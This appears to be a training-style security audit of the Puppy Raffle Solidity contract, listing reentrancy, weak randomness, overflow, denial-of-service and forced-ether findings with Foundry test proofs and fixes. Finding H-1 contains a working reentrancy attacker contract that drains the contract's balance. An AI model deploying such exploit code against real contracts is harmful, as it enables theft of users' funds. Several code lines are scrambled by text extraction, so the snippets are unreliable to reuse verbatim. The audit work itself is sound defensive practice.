CyberSaint

SECURITY

Puppy Raffle Initial Audit Report

Version 0.1

Sunny Thakur

Puppy Raffle Audit Report

Sunny Thakur

September 20, 2024

Puppy Raffle Audit Report

Prepared by: Sunny Thakur Lead Auditors:

- *Sunny Thakur*

Assisting Auditors:

- *None*

Table of contents

See table

Introduction

. ***This report presents the results of an audit conducted on the Puppy Raffle smart contract. The primary purpose of this audit was to assess the security of the smart contract by identifying any vulnerabilities that could affect its functionality, safety, and reliability. The findings provide actionable insights to enhance the contract's resilience against attacks.***

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

***The findings described in this document correspond the following commit hash*:**

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

The Puppy Raffle smart contract enables users to enter raffles, with one or more winners selected randomly. The contract handles the following key operations:

- ***Accepts user entries into the raffle.***
- ***Collects and manages entry fees.***
- ***Selects winners using an on-chain randomization mechanism.***
- ***Allows administrators to withdraw collected fees.***

The contract's primary purpose is to create a trustless, decentralized raffle system.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3

Low	0
Info	6
Total	12

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain contract balance

Description: *The PuppyRaffle::refund function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.*

In the PuppyRaffle::refund function,we first make an external call to the msg.sender address, and only after making that external call, we update the players array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");

        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");


@> (bool success,) = msg.sender.call{value: entranceFee}("");
        require(success, "PuppyRaffle: Failed to refund player");

@> players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact: *All fees paid by raffle entrants could be stolen by the malicious participant.*

Proof of Concept:

1. *Users enters the raffle.*
2. *Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund.*
3. *Attacker enters the raffle*
4. *Attacker calls PuppyRaffle::refund from their contract, draining the contract balance.*

Proof of Code: *Code*

Add the following code to the PuppyRaffleTest.t.sol file.

```
contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(address _puppyRaffle) {
                puppyRaffle = PuppyRaffle(_puppyRaffle);
                entranceFee = puppyRaffle.entranceFee();
        }

                              function attack() external payable  {
                               address[] memory players = new  address[](1);
                players[0] = address(this);
                                   puppyRaffle.enterRaffle{value:  entranceFee}(players);
                attackerIndex = puppyRaffle.getActivePlayerIndex(address(this)) ;
                puppyRaffle.refund(attackerIndex);
        }

        fallback() external payable {
                if (address(puppyRaffle).balance >= entranceFee) {
                        puppyRaffle.refund(attackerIndex);
                }
        }
}

function testReentrance() public playersEntered {
        ReentrancyAttacker attacker = new puppyRaffle)); ReentrancyAttacker(address(
        vm.deal(address(attacker), 1e18);
        uint256 startingAttackerBalance                    =  address(attacker).balance;
        uint256 startingContractBalance                    =  address(puppyRaffle).balance;

        attacker.attack();

                         uint256 endingAttackerBalance =  ad dress(attacker).balance;
                         uint256 endingContractBalance =  address(puppyRaffle).balance;
        assertEq(endingAttackerBalance,                    startingAttackerBalance +
               startingContractBalance);
        assertEq(endingContractBalance, 0);
}
```

RecommendedMitigation: Tofixthis,weshouldhavethePuppyRaffle::refundfunctionupdate the players array before making the external call. Additionally, we should move the event emission up as well.

```
        function refund(uint256 playerIndex) public {
            address playerAddress = players[playerIndex];
            require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
            require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+           players[playerIndex] = address(0);
+           emit RaffleRefunded(playerAddress);
                        (bool success,) = msg.sender.call{value:  entranceFee}("");
            require(success, "PuppyRaffle: Failed to                    refund player");
-                 players[playerIndex] = address(0);
-                 emit RaffleRefunded(playerAddress);
        }
```

[H-2] Weak randomness in PuppyRaffle::selectWinner allows anyone to choose winner

Description: *Hashing msg.sender, block.timestamp, block.difficulty together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values to choose the winner of the raffle themselves.*

Impact: *Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentaill making it such that all puppies have the same rareity, since you can choose the puppy.*

Proof of Concept:

There are a few attack vectors here.

1. *Validators can slightly manipulate the block.timestamp and block.difficulty in an effort to result in their index being the winner.*
2. *Users can manipulate the msg.sender value to result in their index being the winner.*

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: *Consider using an oracle for your randomness like Chainlink VRF.*

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: *In solidity versions prior to 0.8.0, integers were subject to integer overflows.*

```
uint64 myVar = type(uint64).max;
```

```
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: *In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress tocollectlaterinwithdrawFees. However,ifthetotalFeesvariableoverflows,thefeeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.*

Proof of Concept: *1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. totalFees will be:*

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. *You will now not be able to withdraw, due to this line in PuppyRaffle::withdrawFees:*

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

We could selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, but this is clearly not what the protocol is intended to do. Proof Of Code

Place this into the PuppyRaffleTest.t.sol file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}( players);

        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just second raffle        finished a

        puppyRaffle.selectWinner();
```

```

            uint256 endingTotalFees = puppyRaffle.totalFees();
            console.log("ending total fees", endingTotalFees);
            assert(endingTotalFees < startingTotalFees);

            // We are also unable to withdraw any fees because require check of the
            vm.prank(puppyRaffle.feeAddress());
            vm.expectRevert("PuppyRaffle: There are currently players active!");
            puppyRaffle.withdrawFees();
        }
```

Recommended Mitigation: *There are a few recommended mitigations here.*

1. *Use a newer version of solidity that does not have integer overflows.*

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of solidity, you can use a library like Openzeppelin's SafeMath to prevent integer overflows.

2. *Use a uint256 instead of a uint64 for totalFees.*

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. *Remove the balance check in PuppyRaffle::withdrawFees*

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential DoS vector, incrementing gas costs for future entrants

Description: *The PuppyRaffle::enterRaffle function has a duplicate checking mechanism that loops through the players array to check for duplicates. However, the longer thePuppyRaffle :players array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional play in the players array, is an additional check the loop will have to make.*

Note to students: This next line would likely be it's own finding itself. However, we haven't taught you about MEV yet, so we are going to ignore it. *Additionally, this increaced gas cost creates front-running opportunities where malicious users can front-run another raffle entrant's transaction, increase it's costs, so their enter transaction fails.*

Impact: *The impact is two-fold.*

1. *The gas costs for raffle entrants will greatly increase as more players enter the raffle.*
2. *Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.*

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6251420 - 2nd 100 players: 18066229

This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

```
        // Check for duplicates
@>      for (uint256 i = 0; i < players.length; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testReadDuplicateGasCosts() public {
        vm.txGasPrice(1);

        // We will enter 5 players into the raffle
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // And see how much gas it cost to enter
        uint256 gasStart = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * playersNum}( players);

        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

        console.log("Gas cost of the 1st 100 players:", gasUsedFirst);

        // We will enter 5 more players into the raffle
        for (uint256 i = 0; i < playersNum; i++) {

            players[i] = address(i + playersNum);

        }

        // And see how much more expensive it is

        gasStart = gasleft();

        puppyRaffle.enterRaffl players); e{value: entranceFee * playersNum}(

        gasEnd = gasleft();

        uint256 gasUsedSecond        = (gasStart - gasEnd) * tx.gasprice;

        console.log("Gas cost            of the 2nd 100 players:", gasUsedSecond);

        assert(gasUsedFirst <            gasUsedSecond);
        // Logs:

        //                Gas cost of the1st    100 players: 6251420

        //                Gas cost of the2nd    100 players: 18066229

    }
```

Recommended Mitigation: *There are a few recommended mitigations.*

1. *Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.*
2. *Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.*

```
+       mapping(address => uint256) public addressToRaffleId;
+       uint256 public raffleId = 0;
```

```
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, " PuppyRaffle: Must send enough to
            enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, " PuppyRaffle: Duplicate player");
+       }
-         for  (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate      player");
-             }
-         }
        emit  RaffleEnter(newPlayers);
    }
.
.
.
    function     selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, " PuppyRaffle: Raffle not over");
```

[M-2] Balance Check on PuppyRaffle::withdrawFees enables griefers to selfdesctruct a contract to send ETH to the raffle, blocking withdrawls

Description: *The PuppyRaffle::withdrawFees function checks the totalFees equals the ETH balance of the contract (address(**this**).balance). Since this contract doens't have a payable fallback or recieve function, you'd think this wouldn't be possible, but a user could selfdesctruct a contract with ETH in it and force funds to the PuppyRaffle contract, breaking this check.*

```
    function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), " PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
                require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: *This would prevent the feeAddress from withdrawing fees. A malicious user could see a withdrawFee transaction in the mempool, front-run it, and block the withdrawl by sending fees.*

Proof of Concept:

1. *PuppyRaffle has 800 wei in it's balance, and 800 totalFees.*
2. *Malicious user sends 1 wei via a selfdestruct*
3. *feeAddress is no longer able to withdraw funds*

Recommended Mitigation: *Remove the balance check on the PuppyRaffle::withdrawFees function*.

```
    function withdrawFees() external {

-       require(address(this).balance == uint256(totalFees), " PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;

        totalFees = 0;

                (bool success,) = feeAddress.call{value: feesToWithdraw}("");

        require(success, "PuppyRaffle: Failed to withdraw fees");

    }
```

[M-3] Unsafe cast of PuppyRaffle::fee loses fees

Description: *In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.*

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, " PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle" );

            uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: *This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.*

Proof of Concept:

1. *A raffle proceeds with a little more than 18 ETH worth of fees collected*
2. *The line that casts the fee as a uint64 hits*
3. *totalFees is incorrectly updated with a lower amount*

You can replicate this in foundry's chisel by running the following:

```
uint256 max     = type(uint64).max
uint256 fee     = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: *Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:*

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-    uint64 public totalFees = 0;
+    uint256 public totalFees = 0;
.
.
```

```
.

    function selectWinner() external {

        require(block.timestamp >= raffleStartTime + raffleDuration, " PuppyRaffle: Raffle not
            over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

        uint256 winnerIndex =

                    uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];

                  uint256 totalAmountCollected = players.length * entranceFee;

        uint256 prizePool = (totalAmountCollected * 80) / 100;

            uint256 fee  = (totalAmountCollected * 20) / 100;

-           totalFees =  totalFees + uint64(fee);
+           totalFees =  totalFees + fee;
```

Informational / Non-Critical

[I-1] Floating pragmas

Description: *Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.*
https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: *Lock up pragma versions.*

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: *All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".*

Recommended Mitigation: *Replace all magic numbers with constants.*

```
+        uint256    public constant PRIZE_POOL_PERCENTAGE = 80;
+        uint256    public constant FEE_PERCENTAGE = 20;
+        uint256    public constant TOTAL_PERCENTAGE = 100;
.

.
```

```
.

-           uint256     prizePool = (totalAmountCollected * 80) / 100;
-           uint256     fee = (totalAmountCollected * 20) / 100;
            uint256     prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
            uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: *The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.*

```
| File                                 | % Lines           | % Statements      | % Branches        | % Funcs          |
| --------------------------------- | -------------- | -------------| -------------- | ------------- |

| script/DeployPuppyRaffle.sol       | 0.00% (0/3)       | 0.00% (0/4) | 100.00% (0/0) | 0.00% (0/1) |

| src/PuppyRaffle.sol         | 82.46% (47/57) | 83.75% (67/80) | 66.67% (20/30) | 77.78% (7/9) |

| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7) | 100.00% (8/8) | 50.00% (1/2)       | 100.00% (2/2) |
| Total                                | 80.60% (54/67) | 81.52% (75/92) | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: *Increase test coverage to 90% or higher, especially for the Branches column.*

[I-4] Zero address validation

Description: *The PuppyRaffle contract does not validate that the feeAddress is not the zero address. This means that the feeAddress could be set to the zero address, and fees would be lost.*

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/ PuppyRaffle.sol#57) lacks a zero-check on :
                                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165) lacks a zero-check on :
                                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: *Add a zero address check whenever the feeAddress is updated.*

[I-5] _isActivePlayer is never used and should be removed

Description: *The function PuppyRaffle::_isActivePlayer is never used and should be removed.*

```
-       function _isActivePlayer() internal view returns (bool) {
-           for (uint256 i = 0; i < players.length; i++) {
-               if (players[i] == msg.sender) {
-                   return true;
-                       }
-                   }
-                   return false;
-           }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant

PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

Gas (Optional)